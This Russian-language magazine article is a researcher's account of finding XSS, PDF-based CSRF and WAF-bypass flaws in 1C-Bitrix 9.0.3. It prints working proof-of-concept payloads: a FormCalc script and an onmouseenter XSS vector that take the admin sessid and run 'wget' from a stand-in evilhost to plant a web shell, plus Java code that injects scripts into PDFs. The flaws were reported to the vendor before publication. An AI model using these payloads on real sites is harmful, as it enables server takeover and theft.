Около года назад я нашел XSS-уязвимость в продукте 1С-Битрикс, которую показал в ролике хак-видео на CC09. Прошел год, и мне стало интересно, что же изменилось в продукте с точки зрения безопасности? Напомню, Битрикс — продукт непростой, он имеет встроенный фильтр WAF, то есть для проведения большинства атак мало просто найти уязвимость, требуется еще обойти WAF. А обойти его, поверь, очень нелегко...

 

Предыстория

Во время чтения множества статей по безопасности и описаний уязвимостей мне всегда становится интересно, какие действия исследователя предшествовали нахождению той или иной уязвимости. Интересно лишь с одной целью — понимать, какие шаги делал исследователь, какие попытки предпринимал, что не получилось, какие средства и утилиты он использовал. Выясняя все это, можно сильно расширить свой кругозор, а нередко и просто довести до ума какие-то незавершенные идеи. Кроме того, вводные части очень разбавляют технический текст и делают его интереснее. Как говорится, «хочешь сделать мир лучше — начни с себя», поэтому постараюсь описать весь процесс поиска уязвимостей как можно более подробно.
А началось все с Форба, который как всегда ненавязчиво предложил написать образцовую статью на тему взлома CMS. На тот момент у меня была только одна заготовка — идея использования атрибута filesize для hijacking в Internet Explorer. Это была действительно сырая идея, хотя и пришлась по нраву Дэну Камински (seclists.org/fulldisclosure/2010/Apr/288). В любом случае, на добротную статью этого явно не хватало.

Пообещав Форбу ответить до вечера, я попробовал использование атрибута filesize в демо-версии Internet Explorer 9. Разработчики обещали поддержку формата SVG в тэге IMG, и, надеясь, что filesize будет определяться не только от SVG, но и от любого другого XML, можно было заюзать его для определения размера любых XML-ответов веб-приложения, что уже очень немало. Но, к сожалению, фортуна повернулась мягким местом, и filesize от XML всегда возвращал 0. Твердо решив написать новую и интересную статью, я стал просматривать веб-приложения, которые было бы интересно исследовать. Одним из первых в этом списке был 1С-Битрикс, на котором я и остановился. К слову, Битрикс — очень интересный движок, непростой, проверенный аудиторами, имеющий встроенные механизмы защиты от проведения атак.

На эти механизмы есть сертификат по «соответствию требованиям Web Application Firewall Evaluation Criteria международной организации Web Application Security Consortium», кроме того, система имеет сертификат ФСТЭК по классу защиты от несанкционированного доступа. Так что исследование обещало быть интересным. Последний раз до этого я интенсивно изучал Битрикс версии 8.0.5 на CC09, где предлагалось обойти фильтр WAF, который препятствует проведению атак. На момент написания статьи актуальной версией была 9.0.3, которая, ко всему прочему, обзавелась новым механизмом защиты — «веб-антивирусом». Загрузив последнюю версию движка с официального сайта, я принялся за работу.

 

Первый баг — колом!

Первым делом я решил провести проверку системы ручным способом, просто щелкая по менюшкам и изучая функционал. Буквально сразу обратил внимание на BB-тэги, которые можно было использовать во встроенном редакторе при написании сообщений на форум, блог или комментарии. Чтобы проверить, как BB превращаются в нормальные HTML-тэги, и что при этом фильтруется, я создал сообщение, куда поместил все тэги с разными спецсимволами, как в значениях, так и на месте атрибутов. Отправив такое сообщение на свой форум в Битриксе, я принялся рассматривать полученный HTML-код. Удивление пришло, когда кусок кода страницы в явном виде показал XSS. Это был самый банальный и самый изъезженный XSS при обработке:

[URL=a' attribute='blabla']XSS[/URL]

Ради спортивного интереса посмотрел на часы — прошло четыре минуты с начала «исследования». Оставив такой вектор атаки на потом, про себя заметил, что придется еще обходить фильтр WAF, который не пропустит наивные попытки записать атрибут onload, style, onmouseover и другие классические атрибуты при эксплуатации уязвимости.

 

Второй акт

Продолжив бессистемное изучение функционала движка, я проверил еще несколько догадок, и все они оказались безуспешными. Кроме того, заметил странную особенность — при отправке запросов к системе от администратора, данные из них не фильтруются WAF. Сначала мне даже показалось, что «проактивная защита» просто не срабатывает.

Недолго думая, я сразу написал письмо разработчикам Битрикс, которые очень заботятся о безопасности системы и всегда быстро отвечают на мои письма. Как разъяснили разработчики, запросы, посылаемые от администратора и содержащие дополнительный защитный параметр sessid, не фильтруются WAF. Это и логично — в системе ведь присутствуют администраторские утилиты выполнения SQLзапросов и PHP-кода, а если фильтровать их через WAF, они просто не будут работать. Стоп! Выполнение PHP-кода возможно сразу из админки, официально, ничего придумывать даже не надо, просто провести атаку CSRF, и вот он — веб-шелл! Таким образом, мне оставалось только обойти WAF, чтобы провести атаку типа «XSS+CSRF+WAF by pass» и получить веб-шелл. Настроение сильно улучшилось :).

 

Техническая pdfержка

Перебирая разные параметры в движке, я хотел было уже закончить поиски уязвимостей и перейти к изучению защиты WAF. Но тут очередь дошла до модуля «Техническая поддержка». Пользователю предоставлялась возможность создавать обращения к техперсоналу с описанием своих проблем. К каждому тикету можно прикрепить файл. Не задумываясь о последствиях, я создал новый тикет и прикрепил к нему произвольный файл, который по случаю оказался PDF-документом. Затем перелогинился от администратора и посмотрел, что же отобразится в журнале заявок. Вся фильтрация работала на ура, но вот документ... Щелкнем по ссылке с документом — его контент отобразился плагином Adobe Acrobat прямо в браузере на домене подопытного Битрикса. Тут что-то щелкнуло в голове, и память (уже нейронная, а не оперативная) принесла информацию о том, что внутри PDF может содержаться исполнимый JavaScript. Все срасталось — браузер, cookies, нужный домен, JavaScript.

Теперь уже вектор стал совершенно очевиден: надо научить PDF выполнять GET- и POST-запросы к серверу, тогда мы получаем CSRF в чистом виде, а затем, опять-таки, вебшелл. Здесь «проактивная защита» или WAF уже никак не помешает — ведь контент PDF-документа ей не по зубам. Спортивный интерес опять побудил посмотреть на часы — прошло три с половиной часа с начала работы.

 

PDF csrf exploit

Теперь уже идея использовать PDF для проведения CSRF казалась более чем хорошей. Под атаку попадала масса веб-приложений и веб-сервисов. Стоило углубиться в документацию, методы создания PDF-документов и сделать пример «вредоносного» документа. Тут меня ждали две преграды. Во-первых, PDF поддерживает JavaScript лишь отчасти, и ни о каких HTTP-запросах речи здесь быть не может. Во-вторых, Adobe Acrobat имеет встроенный механизм защиты, который спрашивает подтверждения пользователя при взаимодействии документа с сетью. Бросать такую идею совершенно не хотелось, так что изучение документации продолжилось, и очень скоро принесло свои плоды. Обнаружилось, что помимо JavaScript в PDF-документах можно использовать второй язык — FormCalc. Google помог скачать полный список функций этого зверя: help.adobe.com/en_US/livecycle/es/FormCalc.pdf. Самое вкусное, как всегда, оказалось в конце, и последний, десятый раздел мануала назывался коротко и ясно — «URL functions». Содержание раздела говорило само за себя — «Get, Post, Put». Теперь для проведения атаки необходимо было сделать PDF-документ, который бы реализовывал атаку по следующей схеме:

1. Отправка GET-запроса в админку по адресу

targethost:6448/bitrix/admin/user_admin.php?lang=ru.

2. Обработка результата запроса, получение из него sessid.

3. Отправка POST-запроса с sessid и командой «wget http://evilhost.ru/s.txt -O shell.php» по адресу targethost: 6448/bitrix/admin/php_command_line.php?mode=frame&lang=ru.

На языке FormCalc такой сценарий описывался тремя строчками кода:

var a = Get("http://targethost:6448/bitrix/admin/
user_admin.php?lang=ru")
var sessid = (Substr(a,At(a,"sessid=")+7,32))
Post("http://targethost:6448/bitrix/admin/php_command_
line.php?mode=frame&lang=ru",Concat("sessid=",sessi
d,"&query=system%28%27wget http://evilhost:6448/s.
txt –O shell.php%27%29%3B"),"application/x-www-formurlencoded")

Для создания PDF-документа можно было воспользоваться триальной версией Adobe Livecycle Designer (adobe.com/go/trylivecycle), но дистрибутив весил целых 3 Гб. Поэтому я решил скачать готовый PDF с каким-нибудь скриптом и просто заменить текст самого скрипта. Для работы с форматом PDF нашлась прекрасная бесплатная библиотека iText (itextpdf.com) под Java. Функция для замены скрипта в документе
получилась такая:

public static void replacePDFScript(
String filename, String script)
{
try
{
PdfReader reader = new PdfReader(filename);
XfaForm xfa = new XfaForm(reader);
Document doc = xfa.getDomDocument();
NodeList list = doc.getElementsByTagName("script");
list.item(0).setTextContent(script);
PdfStamper stamper = new PdfStamper(reader,
new FileOutputStream(filename+"_mod.pdf"));
xfa.setDomDocument(doc);
xfa.setChanged(true);
XfaForm.setXfa(xfa, stamper.getReader(),
stamper.getWriter());
stamper.close();
}
catch (Exception e) {
e.printStackTrace();
}
}

Согласись, использовать сие всяко проще, чем скачивать 3 Гб платного софта. Теперь немного о том, что касается ограничений безопасности Adobe Acrobat на отправку запросов из документа. Сам PDFдокумент, ясное дело, может быть открыт как через ActiveX-компонент Adobe Acrobat в браузере, так и напрямую из локального файла в окне Acrobat’а. По умолчанию все запросы, которые посылает PDF-документ, требуют подтверждения со стороны пользователя. Высвечивается окно с предложением разрешить отправку запросов с домена, на котором расположен документ. Замечу, что ограничения именно для домена отправителя, а не как это принято обычно — для домена, куда осуществляется запрос.
Если же открывается локальный файл, то санкция устанавливается на имя файла, что, кстати, может быть использовано для атаки с подменой содержимого. Но вот если документ открыт через браузер, и запрос отправляется на тот же домен, на котором расположен документ, никаких ограничений безопасности не срабатывает! Такой вариант открытия документа и присутствовал в Битриксе на момент исследования. Собственно, на этом PoC-эксплоит был готов. Я зашел от имени нового пользователя в свой локальный Битрикс, на котором проводил эксперименты, создал заявку в модуле «техническая поддержка» и прикрепил к ней полученный PDF.

Затем перелогинился от администратора и просмотрел заявку от пользователя, после чего открыл содержащийся в ней документ. На экране отобразился совершенно чистый белый лист, никаких предупреждений, никаких сообщений. Результат работы эксплойта красовался по адресу http://targethost:6448/bitrix/admin/shell.php.

Получилась очень показательная демонстрация атаки CSRF, которая часто критически недооценивается разработчиками. Если строго подходить к классификации, уязвимость, конечно, не простая CSRF. Здесь злоумышленник может изменять заголовки HTTP-запроса, и главное — работать с ответом сервера.

 

Вау, WAF!

Красивая реализация CSRF через PDF подстегнула проделать аналогичный трюк с помощью первой обнаруженной уязвимости XSS. Но для этого необходимо было обойти «проактивную защиту», которая уже была исправлена с момента моих последних раскопок (см. статью «Сказки XSSахеризады»). Тут было два вектора атаки — найти способ обхода фильтрации либо существующих выражений, либо не фильтруемых. Учитывая, что первый вектор я уже исследовал и показал на СС09, решил пробиваться по второму. Тут ничего нового не придумаешь, воспользовался методами, описанными в статье «Сказки XSSахеризады» и полез в документацию на броузерные HTML.

15 минут раскопок принесли плоды — под InternetExplorer нашлись два метода onmouseenter и onmouseleave. Это аналоги фильтруемых WAF исключений onmouseover, onmouseout. То, что доктор прописал :). Чтобы сделать атаку кроссбраузерной, пришлось еще немного порыться в документации... и в итоге нашелся интересный метод onselectstart, который работал и в IE, и в Chrome. Причем в случае с Chrome ивент срабатывает просто при клике, а для IE требуется еще провести по тексту, как при выделении.

На этом этапе уже ничто не мешало осуществить второй вариант CSRF и, опять-таки, получить веб-шелл. К сожалению, день уже заканчивался, с момента начала исследования прошло семь часов, оформить все найденное в приличные advisory я уже не успевал, поэтому просто пошел спать.

 

Антракт и третий акт

Через несколько дней удалось снова выкроить время и вернуться к исследованию движка. Первым делом был написан advisory и отправлен разработчикам. Нехитрый список уязвимостей содержал CSRF via PDF, XSS в тэге [URL] и новые методы обхода WAF. Теперь надо было написать пример для заливки шелла через две уязвимости (XSS+WAF bypass). Я знал, что WAF фильтрует не только ивенты, но и функции и переменные, которые он считает опасными, в самом JavaScript, и морально приготовился к мучительным видоизменениям кода. Логично, казалось бы, было использовать обфускатор jjencode. Но в данном случае он был неприменим из-за того, что любой символ закрывающейся квадратной скобки закрывал тэг URL, в котором была уязвимость, и отсекал весь остальной код за собой. Ну, а квадратные скобки встречаются в jjencode на каждом шагу.

Поэтому пришлось идти другим путем. Логика эксплойта должна была быть следующей:

  1. Создаем объекты iframe, form, два поля input (параметры POST sessid и query).
  2. В iframe загружаем какую-нибудь страницу админки и получаем из него innerHTML.
  3. Выдираем из innerHTML нашего iframe значение sessid.
  4. Проставляем значение sessid в value атрибут первого объекта input.
  5. Выполняем form.submit.

Единственным, что мешало написанию эксплойта со стороны системы, была фильтрация метода onload. Конечно, можно было написать конструкцию типа i[“onload”]=a, но, опять-таки, квадратные скобки не были допустимы для данной уязвимости. Пришлось снова придумывать. Придумка оказалось простой, как валенок — setTimeout(a,10000).

Рассчитано на то, что содержимое iframe загрузится раньше 10 секунд, функция a сможет выдрать значение sessid. В остальном никаких хитростей применено не было. Код получился вот такой:

[URL=http://a' onmouseenter='var i=document.
createElement("iframe");i.style.
width="0px";i.style.height="0px";var p=/
sessid=.{32}/;var t="";var f=document.
createElement("form");f.method="POST";f.
action="/bitrix/admin/php_command_
line.php?mode=frame";var s=document.
createElement("INPUT");s.style.
visibility="hidden";s.type="text";s.
name="sessid";var y=document.
createElement("INPUT");y.style.
visibility="hidden";y.type="text";y.
name="query";y.value="system(\"wget
htt\".\"p://evilhost:6448/s.txt
-O s.php\");";f.appendChild(s);f.
appendChild(y);function b(){t+=i.
document.body.innerHTML.match(p);s.
value=t.substr(7);f.submit()};i.
src="/bitrix/admin/";document.body.
appendChild(i);document.body.appendChild(f);
setTimeout(b,10000);']НАВЕДИ НА МЕНЯ![/URL]

У такого PoC есть два недостатка — он работает только под Internet Explorer и открывает новую страницу с результатом выполнения команды шелла (пустую, если все прошло хорошо, и шелл залился). Эти два недостатка с легкостью лечатся, но в этой статье более элегантного решения не будет дано специально. Моя цель — показать возможность проведения атаки, а не дать в руки готовый инструмент для взлома.

 

Сладкое на закуску

Итак, мне удалось провести две успешные атаки самого себя и залить два веб-шелла. В завершение исследования я еще раз оглядел весь движок, по большей части для того, чтобы просто изучить функционал. Случайно наведя мышкой на надписи с именем автора записи в блоге, я увидел, что при этом открывается всплывающее окно, в котором отображается само сообщение. Это выглядело очень красиво — дизайн окошка был оформлен под облачко из комиксов. Но меня насторожило, что в этом окошке выводится также значение поля ICQ из профиля пользователя. Причем при выводе не фильтруется ни < >, ни ‘ “. Как же просто было при сохранении в базу ограничить поле ICQ в профиле пользователя только цифрами! Это ведь так логично! Но вместо простого решения — уязвимость. Это была третья возможность заливки шелла. В отличие от варианта с [URL] здесь можно было разгуляться — jjencode и целые тэги, а не только атрибуты. Кроме того, можно использовать уязвимости XSS для фишинг-атак. Демонстрацию такой техники можно найти на картинке. Придумывать еще один метод обхода WAF для проведения атак без участия со стороны пользователя, таких как клики и наведения мышкой, мне уже не хотелось. Быстрое исследование, которое заняло полтора дня, решено было закончить, а обнаруженная уязвимость также ушла разработчикам.

 

Финал

Все, что было обнаружено, уже должно быть исправлено в новом Битриксе на момент публикации этой статьи. Всегда до публикации следует оповещать разработчиков и согласовывать сроки публикации. Так и было сделано. Находить уязвимости и взламывать сайты — это две совершенно разные задачи. А если учесть масштабы распространения Битрикса в рунете — последствия атак могли бы быть весьма внушительными. Исследователь — не взломщик, он энтузиаст, стремится показать, где программа недоработана, и в итоге способствует тому, чтобы его продукт стал более защищен. На этом снимаю перед тобой шляпу и отклани ваюсь. И замечу (на всякий случай), что в ходе исследования ни один живой сайт не пострадал. Как всегда, на вопросы отвечаю в блоге oxod.ru.

 

Links

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии